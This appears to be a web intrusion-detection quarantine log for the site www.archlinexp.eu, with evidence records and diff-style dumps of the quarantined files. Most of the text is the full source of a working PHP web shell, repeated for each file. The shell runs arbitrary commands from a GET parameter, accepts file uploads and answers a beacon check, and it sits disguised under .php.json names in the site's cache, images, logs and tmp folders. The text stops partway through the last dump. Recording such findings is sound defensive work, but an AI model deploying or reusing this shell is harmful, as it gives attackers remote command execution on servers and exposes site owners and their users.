run-log: 20260718T155002Z (29 operation)

vhost: www.archlinexp.eu
rel_path: _h3x_0tc4t3dy.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4921

vhost: www.archlinexp.eu
rel_path: _h3x_19b8fmhn.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4910

vhost: www.archlinexp.eu
rel_path: _h3x_2xbk7ug3.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4894

vhost: www.archlinexp.eu
rel_path: _h3x_8nom65ew.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4935

vhost: www.archlinexp.eu
rel_path: _h3x_fiqbuwjw.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4895

vhost: www.archlinexp.eu
rel_path: _h3x_kgetu0xr.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4909

vhost: www.archlinexp.eu
rel_path: _h3x_knton7qj.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4923

vhost: www.archlinexp.eu
rel_path: _h3x_r02w559c.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4878

vhost: www.archlinexp.eu
rel_path: _h3x_vimcjrhc.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4837

vhost: www.archlinexp.eu
rel_path: _h3x_vunx1gid.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4906

vhost: www.archlinexp.eu
rel_path: cache/_h3x_9zbnowsb.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5020

vhost: www.archlinexp.eu
rel_path: cache/_h3x_e4pk161f.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5024

vhost: www.archlinexp.eu
rel_path: cache/_h3x_r16oprou.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5016

vhost: www.archlinexp.eu
rel_path: files/_h3x_2hjfdfr5.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5285

vhost: www.archlinexp.eu
rel_path: files/_h3x_aqjg408i.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5286

vhost: www.archlinexp.eu
rel_path: files/_h3x_vp8mjkv7.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5287

vhost: www.archlinexp.eu
rel_path: images/_h3x_hzba1jvm.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5188

vhost: www.archlinexp.eu
rel_path: images/_h3x_je0zgowm.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5184

vhost: www.archlinexp.eu
rel_path: images/_h3x_ott0201u.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5198

vhost: www.archlinexp.eu
rel_path: logs/_h3x_hzuz4jb8.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5306

vhost: www.archlinexp.eu
rel_path: logs/_h3x_nbmlj4wd.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5300

vhost: www.archlinexp.eu
rel_path: logs/_h3x_nyg1j0r2.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5303

vhost: www.archlinexp.eu
rel_path: media/_h3x_hn5jabjv.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4996

vhost: www.archlinexp.eu
rel_path: media/_h3x_qkrfp39e.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4989

vhost: www.archlinexp.eu
rel_path: media/_h3x_sp89teja.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5001

vhost: www.archlinexp.eu
rel_path: tmp/_h3x_axg1w8kw.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5225

vhost: www.archlinexp.eu
rel_path: tmp/_h3x_ipxvztce.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5221

vhost: www.archlinexp.eu
rel_path: tmp/_h3x_ul3ooiwi.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5220

var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4921",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_0tc4t3dy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783865685,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_0tc4t3dy.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4910",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_19b8fmhn.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837748,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_19b8fmhn.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4894",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_2xbk7ug3.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783904364,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_2xbk7ug3.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4935",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_8nom65ew.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783864514,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_8nom65ew.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4895",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_fiqbuwjw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699437,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_fiqbuwjw.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4909",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_kgetu0xr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783909515,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_kgetu0xr.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4923",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_knton7qj.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783833977,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_knton7qj.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4878",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_r02w559c.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866127,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_r02w559c.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4837",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_vimcjrhc.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700158,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_vimcjrhc.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4906",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_vunx1gid.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866424,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_vunx1gid.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
